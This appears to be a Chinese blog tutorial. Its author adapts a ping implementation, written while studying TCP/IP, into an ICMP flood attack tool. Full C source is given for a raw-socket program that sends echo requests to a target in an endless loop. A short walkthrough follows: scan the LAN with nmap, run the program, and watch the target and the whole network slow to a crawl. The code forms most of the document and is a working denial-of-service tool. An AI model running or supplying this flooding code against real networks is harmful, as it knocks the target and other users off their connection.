通过不断的ping局域网中的某个主机,可以达到几乎完全占用那个主机网速的效果,但自己的网速也废了,整个局域网的上网基本上也废来。所以这是一种同归于尽的攻击方式,实用性基本上不存在了。之所以做这件事,是因为最近在研读 TCP/IP详解卷一 这本书,所以用代码实现了ping的功能,并且稍加改进成为了ping攻击的代码。
一、开发环境:Red Hat Enterprise Linux 6.0
编译工具:GCC
二、程序流程:
定义相关全局变量(如套接字socket等)-》根据输入参数获取IP地址 -> 不断发ICMP请求回显包
三、程序源码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PACKET_SIZE 4096//缓冲区大小
struct timeval timeout={5,0};//设置socket超时时间5s
fd_set fds;//文件描述符集合,可以监视该集合的描述符
char sendpacket[PACKET_SIZE];//发送缓冲区
char recvpacket[PACKET_SIZE];//接收缓冲区
int sockfd,datalen=56;//套接字
int nsend = 0,nreceived = 0;//发送和接收计数
struct sockaddr_in dest_addr;//目的IP地址
pid_t pid;//进程ID号
struct sockaddr_in from;//源IP地址
struct timeval tvrecv;//时间结构体
unsigned short cal_chksum(unsigned short* addr,int len);//校验和计算函数
int pack(int pack_no);//打包函数
void send_packet(void);//发送包函数
void tv_sub(struct timeval *out,struct timeval *in);//时间计算函数\
unsigned short cal_chksum(unsigned short* addr,int len)
{
int nleft = len;
int sum = 0;
unsigned short* w = addr;
unsigned short answer = 0;
while(nleft>1)
{
sum += *w++;
nleft -= 2;
}
if(nleft == 1)
{
*(unsigned char*)(&answer) = *(unsigned char*)w;
sum += answer;
}
sum = (sum>>16)+(sum&0xffff);
answer=~sum;
return answer;
}
int pack(int pack_no)
{
int i,packsize;
struct icmp* icmp;
struct timeval* tval;
icmp = (struct icmp*)sendpacket;
icmp->icmp_type = ICMP_ECHO;//请求回显报文
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_seq = pack_no;
icmp->icmp_id = pid;
packsize = 8+datalen;
tval = (struct timeval*)icmp->icmp_data;
gettimeofday(tval,NULL);
icmp->icmp_cksum =cal_chksum((unsigned short*)icmp,packsize);
return packsize;
}
void send_packet()
{
int packetsize;
nsend++;
packetsize = pack(nsend);
FD_ZERO(&fds);//清空描述符集fds
FD_SET(sockfd,&fds);//将sockfd加入描述符集
int ret=select(sockfd+1,NULL,&fds,NULL,&timeout);//监控套接字是否可写,若不能写入,则等待timeout时间,超时返回0,可写返回大于0,发生错误返回负值
if(ret<0)
{
perror("Select Error");
}
else if(ret==0)
{
perror("Send Timeout");
}
else
{
if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr))<0)
{
// perror("sendto error");
}
//sleep(1);
if(nsend==0x7fffffff)
nsend=0;
}
}
void tv_sub(struct timeval* out,struct timeval* in)
{
if((out->tv_usec -= in->tv_usec)<0)
{
--out->tv_sec;
out->tv_usec += 1000000;
}
out->tv_sec -= in->tv_sec;
}
int main(int argc,char* argv[])
{
struct hostent *host;
struct protoent* protocol;
unsigned long inaddr = 0l;
int size = 50*1024;
FD_ZERO(&fds);//清空描述符集fds
FD_SET(sockfd,&fds);//将sockfd加入描述符集
if(argc<2)
{
printf("Please input IP address after ./attack\n",argv[0]);
exit(1);
}
if((protocol = getprotobyname("icmp"))==NULL)
{
perror("getprotobyname");
exit(1);
}
if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0)
{
perror("socket error");
exit(1);
}
setuid(getuid());
setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size));//设置接收缓冲区大小
setsockopt(sockfd,SOL_SOCKET,SO_SNDBUF,&size,sizeof(size));//设置发送缓冲区大小
bzero(&dest_addr,sizeof(dest_addr));//初始化填充地址结构体
dest_addr.sin_family = AF_INET;
if(inaddr = inet_addr(argv[1]) == INADDR_NONE)//不能从输入参数1直接获取到IP地址
{
if((host = gethostbyname(argv[1]))==NULL)//从主机名获取IP地址
{
perror("gethostbyname error");
exit(1);
}
memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length);
}
else
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充IP地址
while(1)
{
send_packet();
}
return 0;
}
四、攻击过程
第一步:利用nmap工具查看局域网内的活跃IP;
第二步:从第一步可以看出活跃的IP,其中192,168.1.112是我的笔记本,程序运行在台式机上,运行生成的程序myping
第三步:在笔记本上检查效果,发现网页根本打不开,时间长了。操作还有点卡,整个局域网上的机子都是这样,所以说同归于尽嘛!